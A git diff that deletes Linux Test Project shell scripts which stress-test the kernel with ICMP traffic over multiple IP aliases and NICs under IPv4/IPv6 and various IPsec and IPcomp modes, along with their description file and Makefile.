@@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffip05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp4-multi-diffip05 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06 deleted file mode 100644 index f2dd0a2e..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffip06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# -# - The version of IP is IPv4 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp4-multi-diffip06 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07 deleted file mode 100644 index 9e4ece92..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffip07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# - The version of IP is IPv4 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp4-multi-diffip07 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01 deleted file mode 100644 index d6d3d898..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01 +++ /dev/null @@ -1,56 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffip01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp6-multi-diffip01 - -# The version of IP -IP_VER=6 - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02 deleted file mode 100644 index c3c49bb4..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffip02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp6-multi-diffip02 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03 deleted file mode 100644 index 222feb56..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffip03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp6-multi-diffip03 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04 deleted file mode 100644 index 7d389613..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffip04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp6-multi-diffip04 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05 deleted file mode 100644 index c87ef478..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffip05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp6-multi-diffip05 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06 deleted file mode 100644 index 9775ac98..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffip06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp6-multi-diffip06 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07 deleted file mode 100644 index 6db8b45d..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffip07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp6-multi-diffip07 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/00_Descriptions.txt b/ltp/testcases/network/stress/icmp/multi-diffnic/00_Descriptions.txt deleted file mode 100644 index 9cd82f57..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/00_Descriptions.txt +++ /dev/null @@ -1,56 +0,0 @@ -Verify that the kernel is not crashed with receiving and sending various -size of ICMP message at different NIC simultaneously - -icmp4-multi-diffnic01 - IPv4 - -icmp4-multi-diffnic02 - IPv4 - IPsec [ AH / transport ] - -icmp4-multi-diffnic03 - IPv4 - IPsec [ AH / tunnel ] - -icmp4-multi-diffnic04 - IPv4 - IPsec [ ESP / transport ] - -icmp4-multi-diffnic05 - IPv4 - IPsec [ ESP / tunnel ] - -icmp4-multi-diffnic06 - IPv4 - IPcomp [ transport ] - -icmp4-multi-diffnic07 - IPv4 - IPcomp [ tunnel ] - -icmp6-multi-diffnic01 - IPv6 - -icmp6-multi-diffnic02 - IPv6 - IPsec [ AH / transport ] - -icmp6-multi-diffnic03 - IPv6 - IPsec [ AH / tunnel ] - -icmp6-multi-diffnic04 - IPv6 - IPsec [ ESP / transport ] - -icmp6-multi-diffnic05 - IPv6 - IPsec [ ESP / tunnel ] - -icmp6-multi-diffnic06 - IPv6 - IPcomp [ transport ] - -icmp6-multi-diffnic07 - IPv6 - IPcomp [ tunnel ] diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/Makefile b/ltp/testcases/network/stress/icmp/multi-diffnic/Makefile deleted file mode 100644 index 63389ab5..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/icmp/multi-diffnic testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := icmp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01 deleted file mode 100644 index 2d8278fa..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01 +++ /dev/null @@ -1,301 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffnic01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# - The version of IP is IPv4 -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-icmp4-multi-diffnic01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending various size of ICMP message at different NIC simultaneously with the following conditions" - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - -# Array of the echo request packet size -ICMP_SIZE_ARRAY=${ICMP_SIZE_ARRAY:-"10 100 1000 10000 65507"} - - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the icmp traffic server - killall_icmp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Clean up each interface - link_num=0 - while [ $link_num -lt $link_total ]; do - initialize_if lhost ${link_num} - initialize_if rhost ${link_num} - link_num=`expr $link_num + 1` - done -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" - -link_total=`echo $LHOST_HWADDRS | wc -w` -rhost_link_total=`echo $RHOST_HWADDRS | wc -w` -if [ $link_total -ne $rhost_link_total ]; then - tst_resm TBROK "The number of element in LHOST_HWADDRS differs from RHOST_HWADDRS" - exit 1 -fi -if [ $link_total -lt 2 ]; then - tst_resm TBROK "This test case requires plural NICs." - exit 1 -fi -tst_resm TINFO "- Target number of the connection is $link_total" - -tst_resm TINFO "- Version of IP is IPv${IP_VER}" -tst_resm TINFO "- Size of packets are ( $ICMP_SIZE_ARRAY )" - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# Loop for NIC configuration -link_num=0 -lhost_addrs="" -while [ $link_num -lt $link_total ]; do - # name of interface of the local/remote host - lhost_ifname=`get_ifname lhost $link_num` - rhost_ifname=`get_ifname rhost $link_num` - - # Set the IP address to each interface - case $IP_VER in - 4) - network_part="10.0.${link_num}" - network_mask=24 - lhost_host_part="2" # local host - rhost_host_part="1" # remote host - set_ipv4addr lhost $link_num $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv4 address at the local host" - exit 1 - fi - set_ipv4addr rhost $link_num $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv4 address at the remote host" - exit 1 - fi - - # IPv4 address of the local/remote host - lhost_addr="${network_part}.${lhost_host_part}" - rhost_addr="${network_part}.${rhost_host_part}" - lhost_addrs="${lhost_addrs} ${lhost_addr}" - ;; - - 6) - network_part="fd00:1:0:`printf %x ${link_num}`" - network_mask=64 - lhost_host_part=":2" # local host - rhost_host_part=":1" # remote host - add_ipv6addr lhost $link_num $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv6 address at the local host" - exit 1 - fi - add_ipv6addr rhost $link_num $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv6 address at the remote host" - exit 1 - fi - lhost_addr="${network_part}:${lhost_host_part}" - rhost_addr="${network_part}:${rhost_host_part}" - lhost_addrs="${lhost_addrs} ${lhost_addr}" - ;; - - *) - tst_resm TBROK "Unknown IP version" - ;; - esac - - # Configure SAD/SPD - if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - - # Set SAD/SPD according to the variables - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - tst_resm TBROK "Failed to configure SAD/SPD on the local host." - exit 1 - fi - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - tst_resm TBROK "Failed to configure SAD/SPD on the remote host." - exit 1 - fi - rm -f $ipsec_log - fi - - # Make sure the connectivity - case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv4 connectivity on Link${link_num}" - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv6 connectivity on Link${link_num}" - exit 1 - fi - ;; - esac - - link_num=`expr $link_num + 1` -done - - -#----------------------------------------------------------------------- -# -# Main -# -# - -connection_num=0 -while [ $connection_num -lt $link_total ]; do - field=`expr $connection_num + 1` - lhost_addr=`echo $lhost_addrs | cut -d ' ' -f $field` - - lhost_ifname=`get_ifname lhost $connection_num` - rhost_ifname=`get_ifname rhost $connection_num` - - # Run a client - $LTP_RSH $RHOST "${LTPROOT}/testcases/bin/ns-echoclient -S $lhost_addr -f $IP_VER -s \"$ICMP_SIZE_ARRAY\"" & - connection_num=`expr $connection_num + 1` -done - -sleep $NS_DURATION -killall_icmp_traffic -wait - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02 deleted file mode 100644 index c666b69d..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffnic02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# - The version of IP is IPv4 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# 